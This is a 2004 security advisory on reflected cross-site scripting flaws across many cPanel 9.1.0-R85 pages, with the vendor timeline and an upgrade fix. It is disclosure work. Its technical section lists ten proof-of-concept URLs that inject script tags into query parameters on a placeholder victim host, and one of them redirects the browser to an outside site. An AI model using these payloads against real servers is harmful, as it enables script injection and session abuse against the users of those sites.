Product:
cpanel.net cPanel Web Host Control Panel

Released:
03/13/2004

Description:
cPanel 9.1.0-R85 is vulnerable to Cross Site Scripting (XSS) in almost every field which is returned to the browser. This could allow a user to create a specially crafted URL that would execute arbitrary code in a user's browser within the trust relationship between the browser and the server, leading to a loss of integrity.

cPanel supports filtering of HTML and scripts in input variables, but according to cPanel was not enabled in order to support third-party themes. In the interest of properly securing cPanel, the developers have decided to enable HTML filtering as of the first release in the April 1, 2004 EDGE release.

Systems Affected:
cPanel 9.1.0-R85

Technical Description:

Multiple variables in multiple cPanel programs do not filter user supplied input. This could allow an attacker to perform Cross Site Scripting (XSS) attacks against users of the cPanel system.

To check cPanel for CSS, simply access the following example URLs in a browser:

• http://[victim]/frontend/x/cpanelpro/ignorelist.html?account="><script>alert('Vulnerable')</script>
• http://[victim]/frontend/x/cpanelpro/showlog.html?account=<script>alert('Vulnerable')</script>
• http://[victim]/frontend/x/sql/repairdb.html?db=<script>alert('Vulnerable')</script>
• http://[victim]/frontend/x/ftp/doaddftp.html?login="><script>alert('Vulnerable')</script>
• http://[victim]/frontend/x/cpanelpro/editmsg.html?account="><script>alert('Vulnerable')</script>
• http://[victim]/frontend/x/testfile.html?email=<script>alert('Vulnerable')</script>
• http://[victim]/frontend/x2/err/erredit.html?dir=public_html/&file=<script>alert('Vulnerable')</script>
• http://[victim]/frontend/x2/net/dnslook.html?dns=</pre><script>window.location='http://www.cirt.net/'</script>
• http://[victim]/frontend/x2/denyip/del.html?ip=<script>alert('Vulnerable')</script>
• http://[victim]/frontend/x2/htaccess/index.html?dir=<script>alert('Vulnerable')</script>

If you receive a JavaScript pop-up alert or are redirected to another site, the system is vulnerable to Cross Site Scripting.

Fix/Workaround:
Upgrade to the April 1, 2004 EDGE release or newer.

Vendor Status:
cPanel was contacted on 3/13/2004. They initiated discussion on 3/15/2004 and decided course of action on 3/17/2004.

Contacts:
sullo@cirt.net

References:
Updated information can be found on OSVDB.org under the following entries: